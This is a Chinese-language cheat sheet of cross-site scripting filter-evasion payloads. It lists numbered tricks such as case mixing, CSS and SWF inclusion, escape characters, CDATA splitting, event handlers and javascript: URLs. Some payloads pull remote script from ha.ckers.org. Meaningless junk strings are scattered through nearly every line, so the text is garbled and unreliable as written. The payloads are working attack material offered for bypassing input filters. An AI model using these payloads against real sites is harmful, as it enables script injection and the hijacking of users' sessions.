1. 改变字符大小写7 f9 J3 _ i: B6 b
q% _# z# w& u" _7 `' @
5 ], j1 W9 J8 q9 x# S' Q# L
' B- G) a1 z7 B3 G* n$ R! P
<sCript>alert(‘d’)</scRipT>
' j: y+ i& ?+ e; _, ~
# e: {' `7 a" A3 A `. E2. 利用多加一些其它字符来规避Regular Expression的检查
+ Y; ~2 G2 u; p5 A' a& w' i: p3 W+ A+ n- O2 G, M# {& j* d0 P8 h
<<script>alert(‘c’)//<</script>! W& @8 }) x) |) @
' I! h8 f7 R2 Z9 P
<SCRIPT a=">" SRC="t.js"></SCRIPT>7 }, Y4 P: m: A
" z1 a+ ^: A: T6 T% b7 O: o! w* C <SCRIPT =">" SRC="t.js"></SCRIPT>
: D* N7 M0 i1 r) I) A2 i. `( F& E! t- |2 T* a" q
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>2 i& Q. c# `3 ?$ G* l3 \9 ?
# J1 A3 U5 f+ B- Q6 S! m
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
% c+ o& a" @& L z% z' A0 x" D2 _1 L: s4 O6 @. N5 C( R x1 {
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
' h" ?) U6 ^) M/ K4 j$ Y, l- T
- ~" l$ L4 a2 a% ^4 b' [) Z <SCRIPT a=">’>" SRC="t.js"></SCRIPT>- x1 }- {$ W* p. q7 Z, Y, s
* Y. ^' |' X5 x3 }) Q$ E
3. 以其它扩展名取代.js
3 Q( d; N! G. i# Z# }# ?5 w# I ^& ?- h4 y/ N
<script src="bad.jpg"></script>
% _3 d: W! ~0 b4 W( t
1 G2 F1 y4 N: X4. 将Javascript写在CSS档里
8 l" }. L" ^$ `$ ?! m4 l( w# B! u! e' Q
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">0 S, e0 G. D" h( F- L/ A
, ^# a$ U$ ^) R! k& H) u2 O example:
4 l8 J! F0 h% \. n4 J# D
* Q+ e7 T6 f7 K8 q2 E4 U body {6 O& F7 |8 K% S6 L% p8 }
. Y5 q# v( A1 U- { background-image: url(‘javascript:alert("XSS");’)
% h5 U4 g) U! t4 P" U
2 @" a+ I" w. f0 e, n* |6 o3 K }# f6 S7 O/ t9 Q, ~% W) [7 t
7 G+ J0 i: V. P) K% a5 |) ]* @
5. 在script的tag里加入一些其它字符
+ L6 C' H2 R6 H9 o* C
( M& Q" ~- Z @ <SCRIPT/SRC="t.js"></SCRIPT>, h: p, J' m+ [* }4 |9 e3 ?
% q5 o6 D2 ^5 o( S1 e! B <SCRIPT/anyword SRC="t.js"></SCRIPT>, b- N$ M$ ~: B0 _) g* p; P5 T' D, O
# p r6 Z3 \' H# l7 M9 f/ y7 O
6. 使用tab或是new line来规避/ Y2 n. G& H. X9 a' p
& l% N0 b6 Q7 C+ P
<img src="jav ascr ipt:alert(‘XSS3′)">! S9 m& J% b2 O5 | ^ J8 u! l4 p
& m6 R! v4 ]% i+ q8 U# ~7 `3 F <img src="jav ascr ipt:alert(‘XSS3′)">
- |" H1 x% P( L6 G9 p7 k
" _+ w: w8 ~6 P0 r& k) J9 b <IMG SRC="jav ascript:alert(‘XSS’);">
, i8 ]% b, h8 G; E' x: V! d! D, K( ]7 K' O: O
-> tag7 I# K$ e" b) @+ f- `9 H* M
1 X* l i/ Z5 {! F$ `1 d -> new line; h+ U- \2 y3 W$ @! {
Z% C+ `" v: j. H [/ ~2 }$ _# {
7. 使用"\"来规避7 L) C- v9 x- p/ Q. u( Z+ t
' f0 p1 S1 S) z% t
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>3 J1 k7 U8 ?0 a2 ~, f
5 Q1 B2 ]( a- F$ I0 I1 Q
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
9 S7 o5 j9 l' H o# l# S4 A1 \( G
6 i; i7 H. C3 k, e <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
+ M, P" [ G5 x1 |& i! e0 u& b6 y* K }1 Z
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
7 b Q7 w: {$ u0 _- S$ d$ S! W# U. ?
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>2 g2 e, N3 u4 ~
5 Q* X3 D8 H4 i2 e" v7 j `8. 使用Hex encode来规避(也可能会把";"拿掉)$ U' [5 S) g+ g% ^( Z
0 i* ]& o: r0 X7 p2 P <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">- e4 D8 Z7 Z7 {% v
+ l/ ]: z5 V9 g) B, d; E; ?
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">6 R9 l$ p# q2 T* ]2 ^
9 `8 C- }& U( p6 k% w <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">- ]# j8 d1 e6 {- o1 @
# @- k7 T* g1 C: N 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
: L/ @( `7 J# W* Q, K, A% U' k5 j
( e0 ?( s( S9 @, H0 f) d6 a! a9. script in HTML tag( Q( O8 n& h7 V) h0 F
5 j# H/ i; p, _/ j# s+ \' o6 u8 j% J <body onload=」alert(‘onload’)」>9 j4 T7 b( [# Y4 v8 E. I: ]
5 B2 |: Z# ^; Q, Y+ K3 H$ y onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
- d" a; D& f+ [
; z; a! V6 R& V5 r$ C) b10. 在swf里含有xss的code' g: o( |- H0 Q; A
# c$ ^. c8 Z* r
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
, }- C% r% b* A# l8 t
# ]+ u8 ^: n. H8 E1 @7 p; O11. 利用CDATA将xss的code拆开,再组合起来。
. |4 z( F( ]- S) [ U$ d$ R7 G" r- P1 z# W4 \9 ~
<XML ID=I><X><C>
- j0 ]5 v- O1 _9 w/ r
4 ]9 k0 d8 @, f, ]- X9 q' r <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>& A0 N1 t f) e/ @# G
, e( L3 X3 L7 q7 Z1 y </C></X>
- J* W. I/ }% b% D( f5 f# F7 z" R, S" n0 m, p
</xml>+ d4 H( V( T& R# h( G8 v
K/ o1 ?0 j0 M3 i8 z: W, {, w
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
6 P! Q! a, A$ K4 v5 Z$ R6 H, o- Q% A. Y
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
O& q: o; f3 Y1 K8 {4 g, d; L* T9 a4 l5 G$ m7 ]& a( k
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
" L/ N: p3 ]# g9 T5 f; o2 ~ i8 z* _! i" ^$ U" s- ^
12. 利用HTML+TIME。3 `* z5 S1 Y2 F8 A
* V% T" l0 d/ D' N
<HTML><BODY>
$ \5 b: K' I! Z" A4 i3 q& J" Z7 ]; v/ _; `! L
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">; Q8 f( P* N* y) o' ~1 j
3 \' o5 O- O1 ?( o
<?import namespace="t" implementation="#default#time2">
" D; y+ E( S% U( q7 j4 l4 ^1 I
& ~+ }) {6 x. M1 o6 J <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
, _4 S0 Y# c# s9 w" d! H
" q' u. j. ^" h/ R </BODY></HTML>
0 g: @ V( b* G) u4 u' L2 S9 f" c2 B4 D: v0 j* |: y. w
13. 透过META写入Cookie。
3 }. ~: I! O1 c6 S6 L: x, n' j2 ~# ^2 C" s+ S6 j6 X3 y7 _' }
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">) D1 c- B% L: _2 N. s1 a1 s
, d r; W& U% D# Z3 K! X14. javascript in src , href , url! w! Q/ s$ G7 u
: \2 W: a1 o7 l
<IFRAME SRC=javascript:alert(’13′)></IFRAME>. U7 C) ?& Y5 ~( Q
! B! l7 ^5 T: J- f- g' I
<img src="javascript:alert(‘XSS3′)">& L5 L: T- l. O' |
' d: q9 V; S9 }) F* z! N3 b/ N3 N
<IMG DYNSRC="javascript:alert(‘XSS20′)">
7 n1 _: W9 H' E" f* L7 r' k: P8 c3 V3 V9 K
<IMG LOWSRC="javascript:alert(‘XSS21′)">
( U9 L! ?4 X$ {( I" F' q3 l( \: u/ _6 B$ R
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">! H* r! G* _, Q) M+ V0 m
4 @* g6 R! T5 E: [ <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>/ F9 J6 s8 s; t2 j
J- Q" ?8 {5 Q
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
; B" l! E. V% B @4 s* K
# F- ^' s% {5 a9 t- N6 z <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">4 U$ P2 C2 ]$ [' Z9 z& [
+ b( P! V- W* o' K6 m
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
5 ^ e) O+ O2 n3 Q0 M, w# K0 g# g: V0 B' i- C2 q! d
</STYLE><A CLASS=XSS></A>7 o4 g0 x" h; `: Z* m& l
" e! c1 n2 D# O$ ~& o" {
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>9 }6 i9 B' Q* C
6 J; M6 s% g& y9 o |